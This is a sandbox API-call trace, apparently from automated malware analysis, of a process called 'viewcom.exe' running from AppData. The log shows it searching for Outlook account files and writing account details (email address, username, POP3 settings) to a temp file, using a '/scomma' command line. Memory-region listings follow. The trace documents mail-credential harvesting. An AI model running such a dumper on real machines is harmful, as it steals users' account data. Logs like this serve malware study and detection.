[0085.378] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.378] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.378] strlen (_Str="") returned 0x0
[0085.378] strlen (_Str="O_M4tlNNQH_j6l.flv") returned 0x12
[0085.378] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.378] strlen (_Str="") returned 0x0
[0085.378] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.378] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.379] strlen (_Str="") returned 0x0
[0085.379] strlen (_Str="PVi1BVfIlIQmDKwr.jpg") returned 0x14
[0085.379] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.379] strlen (_Str="") returned 0x0
[0085.379] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.379] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.379] strlen (_Str="") returned 0x0
[0085.379] strlen (_Str="qu0oigomB7AP.gif") returned 0x10
[0085.379] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.379] strlen (_Str="") returned 0x0
[0085.379] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.379] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.379] strlen (_Str="") returned 0x0
[0085.379] strlen (_Str="RtHnmpt4.flv") returned 0xc
[0085.379] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.379] strlen (_Str="") returned 0x0
[0085.379] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.379] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.379] strlen (_Str="") returned 0x0
[0085.379] strlen (_Str="SIpBK.bmp") returned 0x9
[0085.379] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.379] strlen (_Str="") returned 0x0
[0085.379] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.379] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.379] strlen (_Str="") returned 0x0
[0085.379] strlen (_Str="U4m-9pZJCPhsi6.swf") returned 0x12
[0085.379] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.379] strlen (_Str="") returned 0x0
[0085.379] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.379] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.379] strlen (_Str="") returned 0x0
[0085.379] strlen (_Str="uezRN08sfabq3K36BWj.png") returned 0x17
[0085.379] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.379] strlen (_Str="") returned 0x0
[0085.379] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.379] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.379] strlen (_Str="") returned 0x0
[0085.379] strlen (_Str="Vfr7MWb") returned 0x7
[0085.379] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.379] strlen (_Str="") returned 0x0
[0085.379] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.379] strcmp (_Str1="Vfr7MWb", _Str2="..") returned 1
[0085.379] strcmp (_Str1="Vfr7MWb", _Str2=".") returned 1
[0085.379] strlen (_Str="Vfr7MWb") returned 0x7
[0085.380] strlen (_Str="Vfr7MWb") returned 0x7
[0085.380] strlen (_Str="*.oeaccount") returned 0xb
[0085.380] _mbscpy (in: param_1=0x12e32c, param_2=0x12e6f4 | out: param_1=0x12e32c) returned 0x12e32c
[0085.380] strlen (_Str="Vfr7MWb") returned 0x7
[0085.380] _mbscat (in: param_1=0x12e32c, param_2=0x414078 | out: param_1=0x12e32c) returned 0x12e32c
[0085.380] _mbscat (in: param_1=0x12e32c, param_2=0x4154e8 | out: param_1=0x12e32c) returned 0x12e32c
[0085.380] FindFirstFileA (in: lpFileName="Vfr7MWb\\*.oeaccount", lpFindFileData=0x12e470 | out: lpFindFileData=0x12e470) returned 0xffffffff
[0085.380] strlen (_Str="Vfr7MWb") returned 0x7
[0085.380] strlen (_Str="Vfr7MWb") returned 0x7
[0085.380] strlen (_Str="*.*") returned 0x3
[0085.380] _mbscpy (in: param_1=0x12e83c, param_2=0x12ec04 | out: param_1=0x12e83c) returned 0x12e83c
[0085.380] strlen (_Str="Vfr7MWb") returned 0x7
[0085.380] _mbscat (in: param_1=0x12e83c, param_2=0x414078 | out: param_1=0x12e83c) returned 0x12e83c
[0085.380] _mbscat (in: param_1=0x12e83c, param_2=0x4147c4 | out: param_1=0x12e83c) returned 0x12e83c
[0085.380] FindFirstFileA (in: lpFileName="Vfr7MWb\\*.*", lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 0x267e08
[0085.380] strlen (_Str="Vfr7MWb") returned 0x7
[0085.380] strlen (_Str=".") returned 0x1
[0085.380] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.380] strlen (_Str="Vfr7MWb") returned 0x7
[0085.380] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.380] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.380] strcmp (_Str1=".", _Str2="..") returned -1
[0085.380] strcmp (_Str1=".", _Str2=".") returned 0
[0085.380] FindNextFileA (in: hFindFile=0x267e08, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 1
[0085.380] strlen (_Str="Vfr7MWb") returned 0x7
[0085.380] strlen (_Str="..") returned 0x2
[0085.380] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.381] strlen (_Str="Vfr7MWb") returned 0x7
[0085.381] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.381] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.381] strcmp (_Str1="..", _Str2="..") returned 0
[0085.381] FindNextFileA (in: hFindFile=0x267e08, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 1
[0085.381] strlen (_Str="Vfr7MWb") returned 0x7
[0085.381] strlen (_Str="3tyaTZvc1Z7KhwIE.gif") returned 0x14
[0085.381] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.381] strlen (_Str="Vfr7MWb") returned 0x7
[0085.381] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.381] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.381] FindNextFileA (in: hFindFile=0x267e08, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 1
[0085.381] strlen (_Str="Vfr7MWb") returned 0x7
[0085.381] strlen (_Str="F-PlN0i.ots") returned 0xb
[0085.381] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.381] strlen (_Str="Vfr7MWb") returned 0x7
[0085.381] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.381] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.381] FindNextFileA (in: hFindFile=0x267e08, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 1
[0085.381] strlen (_Str="Vfr7MWb") returned 0x7
[0085.381] strlen (_Str="H8t9GaqGi.csv") returned 0xd
[0085.381] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.381] strlen (_Str="Vfr7MWb") returned 0x7
[0085.381] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.381] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.381] FindNextFileA (in: hFindFile=0x267e08, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 1
[0085.381] strlen (_Str="Vfr7MWb") returned 0x7
[0085.381] strlen (_Str="KYE9P798D.png") returned 0xd
[0085.381] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.381] strlen (_Str="Vfr7MWb") returned 0x7
[0085.381] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.381] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.381] FindNextFileA (in: hFindFile=0x267e08, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 1
[0085.381] strlen (_Str="Vfr7MWb") returned 0x7
[0085.381] strlen (_Str="pO5DZd.png") returned 0xa
[0085.381] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.381] strlen (_Str="Vfr7MWb") returned 0x7
[0085.381] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.381] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.381] FindNextFileA (in: hFindFile=0x267e08, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 1
[0085.381] strlen (_Str="Vfr7MWb") returned 0x7
[0085.381] strlen (_Str="ZTvSRnB7Q_jTh1.avi") returned 0x12
[0085.382] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.382] strlen (_Str="Vfr7MWb") returned 0x7
[0085.382] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.382] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.382] FindNextFileA (in: hFindFile=0x267e08, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 0
[0085.382] FindClose (in: hFindFile=0x267e08 | out: hFindFile=0x267e08) returned 1
[0085.382] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.382] strlen (_Str="") returned 0x0
[0085.382] strlen (_Str="XtVHwziC5KkEhEQytAGm.xls") returned 0x18
[0085.382] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.382] strlen (_Str="") returned 0x0
[0085.382] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.382] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.382] strlen (_Str="") returned 0x0
[0085.382] strlen (_Str="~$49343.doc") returned 0xb
[0085.382] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.382] strlen (_Str="") returned 0x0
[0085.382] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.382] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 0
[0085.382] FindClose (in: hFindFile=0x265da0 | out: hFindFile=0x265da0) returned 1
[0085.382] _strcmpi (_Str1="/nosort", _Str2="/scomma") returned -1
[0085.382] _strcmpi (_Str1="/nosort", _Str2="C:\\ProgramData\\9F1B.tmp") returned -1
[0085.382] qsort (in: _Base=0x1206360, _NumOfElements=0x1, _SizeOfElements=0x3a4, _PtFuncCompare=0x40a25d | out: _Base=0x1206360)
[0085.382] SetCursor (hCursor=0x10007) returned 0x10007
[0085.382] CreateFileA (lpFileName="C:\\ProgramData\\9F1B.tmp" (normalized: "c:\\programdata\\9f1b.tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8
[0085.383] LoadCursorA (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007
[0085.383] SetCursor (hCursor=0x10007) returned 0x10007
[0085.383] strlen (_Str="djvohe") returned 0x6
[0085.383] WriteFile (in: hFile=0xe8, lpBuffer=0x120636c*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x12fa14, lpOverlapped=0x0 | out: lpBuffer=0x120636c*, lpNumberOfBytesWritten=0x12fa14*=0x6, lpOverlapped=0x0) returned 1
[0085.384] strlen (_Str=",") returned 0x1
[0085.384] WriteFile (in: hFile=0xe8, lpBuffer=0x413b18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x12fa14, lpOverlapped=0x0 | out: lpBuffer=0x413b18*, lpNumberOfBytesWritten=0x12fa14*=0x1, lpOverlapped=0x0) returned 1
[0085.384] LoadStringA (in: hInstance=0x400000, uID=0x394, lpBuffer=0x24c6c8, cchBufferMax=4095 | out: lpBuffer="Outlook 2016") returned 0xc
[0085.384] strlen (_Str="Outlook 2016") returned 0xc
[0085.384] WriteFile (in: hFile=0xe8, lpBuffer=0x243fa8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x12fa14, lpOverlapped=0x0 | out: lpBuffer=0x243fa8*, lpNumberOfBytesWritten=0x12fa14*=0xc, lpOverlapped=0x0) returned 1
[0085.384] strlen (_Str=",") returned 0x1
[0085.384] WriteFile (in: hFile=0xe8, lpBuffer=0x413b18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x12fa14, lpOverlapped=0x0 | out: lpBuffer=0x413b18*, lpNumberOfBytesWritten=0x12fa14*=0x1, lpOverlapped=0x0) returned 1
[0085.384] strlen (_Str="dkjvzh@jjjd.com") returned 0xf
[0085.384] WriteFile (in: hFile=0xe8, lpBuffer=0x12063f0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x12fa14, lpOverlapped=0x0 | out: lpBuffer=0x12063f0*, lpNumberOfBytesWritten=0x12fa14*=0xf, lpOverlapped=0x0) returned 1
[0085.384] strlen (_Str=",") returned 0x1
[0085.385] WriteFile (in: hFile=0xe8, lpBuffer=0x413b18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x12fa14, lpOverlapped=0x0 | out: lpBuffer=0x413b18*, lpNumberOfBytesWritten=0x12fa14*=0x1, lpOverlapped=0x0) returned 1
[0085.385] strlen (_Str="ffadv") returned 0x5
[0085.385] WriteFile (in: hFile=0xe8, lpBuffer=0x1206470*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x12fa14, lpOverlapped=0x0 | out: lpBuffer=0x1206470*, lpNumberOfBytesWritten=0x12fa14*=0x5, lpOverlapped=0x0) returned 1
[0085.385] strlen (_Str=",") returned 0x1
[0085.385] WriteFile (in: hFile=0xe8, lpBuffer=0x413b18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x12fa14, lpOverlapped=0x0 | out: lpBuffer=0x413b18*, lpNumberOfBytesWritten=0x12fa14*=0x1, lpOverlapped=0x0) returned 1
[0085.385] strlen (_Str="") returned 0x0
[0085.385] WriteFile (in: hFile=0xe8, lpBuffer=0x24d750*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x12fa14, lpOverlapped=0x0 | out: lpBuffer=0x24d750*, lpNumberOfBytesWritten=0x12fa14*=0x0, lpOverlapped=0x0) returned 1
[0085.385] strlen (_Str=",") returned 0x1
[0085.385] WriteFile (in: hFile=0xe8, lpBuffer=0x413b18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x12fa14, lpOverlapped=0x0 | out: lpBuffer=0x413b18*, lpNumberOfBytesWritten=0x12fa14*=0x1, lpOverlapped=0x0) returned 1
[0085.385] LoadStringA (in: hInstance=0x400000, uID=0x10, lpBuffer=0x24c6c8, cchBufferMax=4095 | out: lpBuffer="No") returned 0x2
[0085.385] strlen (_Str="No") returned 0x2
[0085.385] WriteFile (in: hFile=0xe8, lpBuffer=0x243fb5*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x12fa14, lpOverlapped=0x0 | out: lpBuffer=0x243fb5*, lpNumberOfBytesWritten=0x12fa14*=0x2, lpOverlapped=0x0) returned 1
[0085.385] strlen (_Str=",") returned 0x1
[0085.385] WriteFile (in: hFile=0xe8, lpBuffer=0x413b18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x12fa14, lpOverlapped=0x0 | out: lpBuffer=0x413b18*, lpNumberOfBytesWritten=0x12fa14*=0x1, lpOverlapped=0x0) returned 1
[0085.385] LoadStringA (in: hInstance=0x400000, uID=0x321, lpBuffer=0x24c6c8, cchBufferMax=4095 | out: lpBuffer="POP3") returned 0x4
[0085.385] strlen (_Str="POP3") returned 0x4
[0085.385] WriteFile (in: hFile=0xe8, lpBuffer=0x243fb8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12fa14, lpOverlapped=0x0 | out: lpBuffer=0x243fb8*, lpNumberOfBytesWritten=0x12fa14*=0x4, lpOverlapped=0x0) returned 1
[0085.386] strlen (_Str=",") returned 0x1
[0085.386] WriteFile (in: hFile=0xe8, lpBuffer=0x413b18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x12fa14, lpOverlapped=0x0 | out: lpBuffer=0x413b18*, lpNumberOfBytesWritten=0x12fa14*=0x1, lpOverlapped=0x0) returned 1
[0085.386] strlen (_Str="dkjvzh@jjjd.com") returned 0xf
[0085.386] WriteFile (in: hFile=0xe8, lpBuffer=0x1206574*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x12fa14, lpOverlapped=0x0 | out: lpBuffer=0x1206574*, lpNumberOfBytesWritten=0x12fa14*=0xf, lpOverlapped=0x0) returned 1
[0085.386] strlen (_Str=",") returned 0x1
[0085.386] WriteFile (in: hFile=0xe8, lpBuffer=0x413b18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x12fa14, lpOverlapped=0x0 | out: lpBuffer=0x413b18*, lpNumberOfBytesWritten=0x12fa14*=0x1, lpOverlapped=0x0) returned 1
[0085.386] strlen (_Str="") returned 0x0
[0085.386] WriteFile (in: hFile=0xe8, lpBuffer=0x12065f4*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x12fa14, lpOverlapped=0x0 | out: lpBuffer=0x12065f4*, lpNumberOfBytesWritten=0x12fa14*=0x0, lpOverlapped=0x0) returned 1
[0085.386] strlen (_Str=",") returned 0x1
[0085.386] WriteFile (in: hFile=0xe8, lpBuffer=0x413b18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x12fa14, lpOverlapped=0x0 | out: lpBuffer=0x413b18*, lpNumberOfBytesWritten=0x12fa14*=0x1, lpOverlapped=0x0) returned 1
[0085.386] strlen (_Str="Outlook") returned 0x7
[0085.386] WriteFile (in: hFile=0xe8, lpBuffer=0x1206674*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x12fa14, lpOverlapped=0x0 | out: lpBuffer=0x1206674*, lpNumberOfBytesWritten=0x12fa14*=0x7, lpOverlapped=0x0) returned 1
[0085.386] strlen (_Str=",") returned 0x1
[0085.386] WriteFile (in: hFile=0xe8, lpBuffer=0x413b18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x12fa14, lpOverlapped=0x0 | out: lpBuffer=0x413b18*, lpNumberOfBytesWritten=0x12fa14*=0x1, lpOverlapped=0x0) returned 1
[0085.386] strlen (_Str="") returned 0x0
[0085.386] WriteFile (in: hFile=0xe8, lpBuffer=0x24d750*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x12fa14, lpOverlapped=0x0 | out: lpBuffer=0x24d750*, lpNumberOfBytesWritten=0x12fa14*=0x0, lpOverlapped=0x0) returned 1
[0085.386] strlen (_Str=",") returned 0x1
[0085.386] WriteFile (in: hFile=0xe8, lpBuffer=0x413b18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x12fa14, lpOverlapped=0x0 | out: lpBuffer=0x413b18*, lpNumberOfBytesWritten=0x12fa14*=0x1, lpOverlapped=0x0) returned 1
[0085.386] strlen (_Str="ddvs") returned 0x4
[0085.387] WriteFile (in: hFile=0xe8, lpBuffer=0x12064f0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12fa14, lpOverlapped=0x0 | out: lpBuffer=0x12064f0*, lpNumberOfBytesWritten=0x12fa14*=0x4, lpOverlapped=0x0) returned 1
[0085.387] strlen (_Str=",") returned 0x1
[0085.387] WriteFile (in: hFile=0xe8, lpBuffer=0x413b18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x12fa14, lpOverlapped=0x0 | out: lpBuffer=0x413b18*, lpNumberOfBytesWritten=0x12fa14*=0x1, lpOverlapped=0x0) returned 1
[0085.387] strlen (_Str="") returned 0x0
[0085.387] WriteFile (in: hFile=0xe8, lpBuffer=0x24d750*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x12fa14, lpOverlapped=0x0 | out: lpBuffer=0x24d750*, lpNumberOfBytesWritten=0x12fa14*=0x0, lpOverlapped=0x0) returned 1
[0085.387] strlen (_Str="\r\n") returned 0x2
[0085.387] WriteFile (in: hFile=0xe8, lpBuffer=0x413b1c*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x12fa18, lpOverlapped=0x0 | out: lpBuffer=0x413b1c*, lpNumberOfBytesWritten=0x12fa18*=0x2, lpOverlapped=0x0) returned 1
[0085.387] CloseHandle (hObject=0xe8) returned 1
[0085.390] SetCursor (hCursor=0x10007) returned 0x10007
[0085.391] DeleteObject (ho=0x20a0936) returned 1
[0085.391] exit (_Code=0)
Thread:
id = 89
os_tid = 0xcbc
Process:
id = "9"
image_name = "viewcom.exe"
filename = "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\viewcom.exe"
page_root = "0x7f13e6a0"
os_pid = "0xc78"
os_integrity_level = "0x2000"
os_privileges = "0x800000"
monitor_reason = "child_process"
parent_id = "6"
os_parent_pid = "0xb98"
cmd_line = "\"C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe\" /scomma \"C:\\ProgramData\\9F1C.tmp\""
cur_dir = "C:\\Users\\ATVeyDl98Z\\Desktop\\"
os_username = "ZJEWV7F\\ATVeyDl98Z"
os_groups = "ZJEWV7F\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f73d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Region:
id = 1330
start_va = 0x10000
end_va = 0x2ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000010000"
filename = ""
Region:
id = 1331
start_va = 0x30000
end_va = 0x12ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000030000"
filename = ""
Region:
id = 1332
start_va = 0x130000
end_va = 0x133fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000130000"
filename = ""
Region:
id = 1333
start_va = 0x400000
end_va = 0x45afff
entry_point = 0x0
region_type = private
name = "private_0x0000000000400000"
filename = ""
Region:
id = 1334
start_va = 0x775c0000
end_va = 0x776fbfff
entry_point = 0x775c0000
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")
Region:
id = 1335
start_va = 0x77800000
end_va = 0x77800fff
entry_point = 0x77800000
region_type = mapped_file
name = "apisetschema.dll"
filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")
Region:
id = 1336
start_va = 0x7ffb0000
end_va = 0x7ffd2fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007ffb0000"
filename = ""
Region:
id = 1337
start_va = 0x7ffd8000
end_va = 0x7ffd8fff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffd8000"
filename = ""
Region:
id = 1338
start_va = 0x7ffdf000
end_va = 0x7ffdffff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffdf000"
filename = ""
Region:
id = 1362
start_va = 0x190000
end_va = 0x28ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000190000"
filename = ""
Region:
id = 1363
start_va = 0x758d0000
end_va = 0x75919fff
entry_point = 0x758d7de0
region_type = mapped_file
name = "kernelbase.dll"
filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")
Region:
id = 1364
start_va = 0x76350000
end_va = 0x76423fff
entry_point = 0x7639bde4
region_type = mapped_file
name = "kernel32.dll"
filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")
Region:
id = 1365
start_va = 0x10000
end_va = 0x1ffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000010000"
filename = ""
Region:
id = 1366
start_va = 0x290000
end_va = 0x2f6fff
entry_point = 0x290000
region_type = mapped_file
name = "locale.nls"
filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")
Region:
id = 1367
start_va = 0x390000
end_va = 0x39ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000390000"
filename = ""
Region:
id = 1368
start_va = 0x460000
end_va = 0x527fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000460000"
filename = ""
Region:
id = 1369
start_va = 0x723c0000
end_va = 0x72443fff
entry_point = 0x723c19a9
region_type = mapped_file
name = "comctl32.dll"
filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll")
Region:
id = 1370
start_va = 0x74c60000
end_va = 0x74c68fff
entry_point = 0x74c61220
region_type = mapped_file
name = "version.dll"
filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll")
Region:
id = 1371
start_va = 0x75780000
end_va = 0x7578bfff
entry_point = 0x7578238e
region_type = mapped_file
name = "msasn1.dll"
filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")
Region:
id = 1372
start_va = 0x757b0000
end_va = 0x758ccfff
entry_point = 0x757b158a
region_type = mapped_file
name = "crypt32.dll"
filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")
Region:
id = 1373
start_va = 0x75a70000
end_va = 0x75b0cfff
entry_point = 0x75aa3fd7
region_type = mapped_file
name = "usp10.dll"
filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")
Region:
id = 1374
start_va = 0x75b10000
end_va = 0x75b19fff
entry_point = 0x75b1136c
region_type = mapped_file
name = "lpk.dll"
filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")
Region:
id = 1375
start_va = 0x75b60000
end_va = 0x75c00fff
entry_point = 0x75b92433
region_type = mapped_file
name = "rpcrt4.dll"
filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")
Region:
id = 1376
start_va = 0x75c10000
end_va = 0x75cd8fff
entry_point = 0x75c2d711
region_type = mapped_file
name = "user32.dll"
filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")
Region:
id = 1377
start_va = 0x75ce0000
end_va = 0x75e15fff
entry_point = 0x75ce1b35
region_type = mapped_file
name = "urlmon.dll"
